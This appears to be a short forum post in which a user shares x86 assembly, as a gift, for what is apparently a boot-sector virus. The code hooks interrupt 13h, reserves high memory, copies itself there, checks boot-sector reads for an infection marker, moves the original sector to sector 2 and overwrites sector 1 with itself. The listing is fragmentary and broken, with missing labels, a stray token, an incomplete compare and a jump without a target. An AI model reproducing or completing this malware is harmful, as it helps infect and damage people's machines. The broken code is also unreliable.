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[Diroga]

thank you very much and to show my thanks i give you this

Code:

Set SS:SP to 0:7C00 :
cli
xor ax,ax
mov ss,ax
mov sp,7c00h
sti s

dec word ptr [413h]

int 12h
mov cl,6
shl ax,cl
mov es,ax
mov cx,512
rep movsb

mov si,13h*4
mov di,offset int13storage
movsw
movsw
mov word ptr [si-4],offset int13handler
mov word ptr [si-2],es

int 19h

cmp ah,2
jne exit_int13
cmp cx,1
jne exit_int13
or dh,dh
jnz exit_int13

pushf
call dword ptr cs:int13storage

cmp word ptr es:[bx+offset marker]
je


mov cx,2
mov ax,201h
call orig_int13h

mov ax,301h
mov cx,2
call orig_int13h


xor bx,bx
push cs
pop es
mov cx,1
mov ax,301h
call orig_int13h